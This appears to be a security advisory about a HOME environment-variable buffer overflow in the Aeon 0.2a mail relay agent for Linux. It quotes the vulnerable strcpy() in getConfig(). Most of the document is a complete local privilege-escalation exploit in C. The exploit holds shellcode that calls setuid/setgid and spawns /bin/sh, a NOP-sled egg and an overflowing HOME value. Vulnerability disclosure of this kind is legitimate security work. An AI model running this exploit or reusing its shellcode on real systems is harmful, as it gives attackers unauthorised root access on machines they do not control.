[UNIX] Aeon HOME Environment Buffer Overflow

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  Aeon HOME Environment Buffer Overflow
------------------------------------------------------------------------


SUMMARY

 <http://www.abenetkiewicz.neostrada.pl> Aeon is "a simple mail relay 
agent for Linux". A vulnerability in the way Aeon reads configuration 
settings allows local attackers to cause the program to overflow an 
internal buffer.

DETAILS

Vulnerable Systems:
 * Aeon version 0.2a and prior

The application is affected by a buffer-overflow in the function 
getConfig(). This function uses a strcpy() with a local buffer of 512 
bytes where it stores the text from environment HOME.

In lib_aeon.c the following code can be found:
int getConfig(char settings[MAX_SETTINGS][MAX_LEN])
{
    char home[MAX_LEN];
//...................................
strcpy(home, getenv("HOME"));

The result is that an attacker could raise his privileges.

Exploit:
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
 
 long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
 strcpy(evilbuf,"HOME=");
  
        for(i=5;i<=BUFLEN;i+=4)
     *(long *)(p+i)=ret;
 
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
 ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> patr0n.
The original article can be found at:  
<http://security-tmp.h14.ru/exploits/23laeon.c.txt> 
http://security-tmp.h14.ru/exploits/23laeon.c.txt



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